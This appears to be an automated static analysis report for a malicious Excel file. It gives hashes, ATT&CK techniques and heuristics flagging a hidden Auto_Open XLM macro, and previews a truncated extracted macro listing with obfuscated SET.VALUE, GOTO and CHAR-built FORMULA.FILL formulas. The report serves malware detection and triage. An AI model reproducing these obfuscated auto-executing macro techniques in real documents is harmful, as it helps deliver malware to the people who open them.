Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3763c629b079bdb1…

MALICIOUS

Office (OLE)

172.5 KB Created: 2020-05-13 06:52:23 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 1956fc333c3bf02c949efc3753ffa013 SHA-1: bccc4bceb3bd1ecdb76a1183e7bc2a183025b93c SHA-256: 3763c629b079bdb19d4e81141d6d6e94a7e7eb77d5d294b3ec51094f8b1fd834
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a known technique for executing arbitrary commands upon opening the document. The macro sheet contains dangerous formula APIs, specifically 'RUN', suggesting it is designed to execute external commands. The presence of the Auto_Open entry and the use of the RUN function strongly imply the macro is intended to download and execute a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 128343 bytes
SHA-256: 6230b4acc6893551e00f3a6aded314efcd645ac1e68d71cf9428ca4b426018a1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!JU31166 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,CC16,"",0.23933649289099526158
'  Sheet,IL57,"",-218.00000000000000000000
'  Sheet,FU146,"",-1.17948717948717951565
'  Sheet,JN155,"",0.29153605015673983436
'  Sheet,FN190,"",-1.39583333333333325932
'  Sheet,BN285,"",-7.47058823529411775155
'  Sheet,JU327,"",0.02571428571428571383
'  Sheet,BT391,"",11.27500976562500056843
'  Sheet,BZ451,"",-345.00000000000000000000
'  Sheet,HC523,"",-0.59821428571428569843
'  Sheet,F534,"",-294.00000000000000000000
'  Sheet,DX603,"",-1.52272727272727270709
'  Sheet,FC649,"SET.VALUE(IS65486,GET.CELL(24,E19356)--313.00000000000000000000)",""
'  Sheet,FC650,GOTO(CA9332),""
'  Sheet,FN653,"",34.42622950819671956424
'  Sheet,CF672,"",-1989.00000000000000000000
'  Sheet,JJ695,"",-323.00000000000000000000
'  Sheet,BN733,"",-1.67500122070312507105
'  Sheet,DD774,"",-345.00000000000000000000
'  Sheet,FJ851,"",70.50000000000000000000
'  Sheet,DE927,"",-1.46153846153846145306
'  Sheet,II959,"",140.00000000000000000000
'  Sheet,DI1024,"",-283.00000000000000000000
'  Sheet,FN1035,"",0.34687530517578124556
'  Sheet,CF1069,"",130.00000000000000000000
'  Sheet,P1126,"",4.63736163736263762303
'  Sheet,JG1158,"",-344.00000000000000000000
'  Sheet,IS1162,"",4.87341772151898755538
'  Sheet,BJ1169,"",84.00000000000000000000
'  Sheet,DE1244,"",0.26268656716417915220
'  Sheet,IC1321,"",61.76470588235294201240
'  Sheet,GZ1333,"",1.52173913043478270524
'  Sheet,HR1341,"",221.00000000000000000000
'  Sheet,FK1360,"",-1.75000000000000000000
'  Sheet,GK1360,"",-106.00000000000000000000
'  Sheet,Q1375,"",288.00000000000000000000
'  Sheet,DH1375,"",-1.02499999999999991118
'  Sheet,JP1384,"",301.00000000000000000000
'  Sheet,JQ1427,"",5.78082191780821919025
'  Sheet,DE1496,"",-1.33333333333333325932
'  Sheet,DE1536,"",1129.25000000000000000000
'  Sheet,BB1578,"",-113.00000000000000000000
'  Sheet,J1689,"",64.00000000000000000000
'  Sheet,BD1753,"",55.40003906249999943157
'  Sheet,GT1772,"",1158.25000000000000000000
'  Sheet,BR1806,"",1.74862637362637363125
'  Sheet,FZ1819,"",3.18181818181818165669
'  Sheet,FX1917,"",305.00000000000000000000
'  Sheet,CP1995,"",337.00000000000000000000
'  Sheet,GG2042,"",0.72898664571877458407
'  Sheet,CB2161,"",0.17164179104477611526
'  Sheet,EA2195,"",298.00000000000000000000
'  Sheet,GC2248,"",-94.80007812499999886313
'  Sheet,HL2312,"",243.00000000000000000000
'  Sheet,JU2352,"FORMULA.FILL(CHAR(W4346/CD47966)&CHAR(Y44936/BL64058)&CHAR(IL42465/HK45260)&CHAR(I47708+Y7283)&CHAR(EY14283/DX27153)&CHAR(W4346*Z25193)&CHAR(IL42465*IR28260)&CHAR(I47708*CC16)&CHAR(IL42465-JM41241)&CHAR(GC27561+FV24160)&CHAR(GC27561/FX52065)&CHAR(Y44936-BX37728)&CHAR(W4346/JM24507)&CHAR(Y44936-CO38681)&CHAR(IL42465*BQ26935)&CHAR(IS65486-GE30384)&CHAR(I47708-GY56787)&CHAR(FU3047/M8053)&CHAR(BR549/HE30683)&CHAR(W4346-DK27094)&CHAR(GC27561-DE18962)&CHAR(GC27561+DC28815)&CHAR(FU3047+IF30494)&CHAR(EY14283*C3142)&CHAR(GC27561+IG33937)&CHAR(IS65486-FU13432)&CHAR(W4346*BQ44516),DY52940)",""
'  Sheet,JU2353,GOTO(JJ20420),""
'  Sheet,EE2408,"",4.42528735632183867210
'  Sheet,DC2413,"",0.21641791044776118036
'  Sheet,FB2413,"",108.80007812499999886313
'  Sheet,DX2420,"",152.00000000000000000000
'  Sheet,BO2437,"",-1986.00000000000000000000
'  Sheet,CH2457,"",0.34375000000000000000
'  Sheet,ED2479,"",84.00000000000000000000
'  Sheet,FN2513,"",2.17979352054794528470
'  Sheet,DO2531,"",42.00000000000000000000
'  Sheet,ES2561,"",-157.80000000000001136868
'  Sheet,FK2633,"",0.10389610389610390295
'  Sheet,IY2639,"",0.24062515258789063388
'  Sheet,FV2663,"",-29.40001953124999900524
'  Sheet,EB2671,"",30.40001953124999900524
'  Sheet,CI269
... (truncated)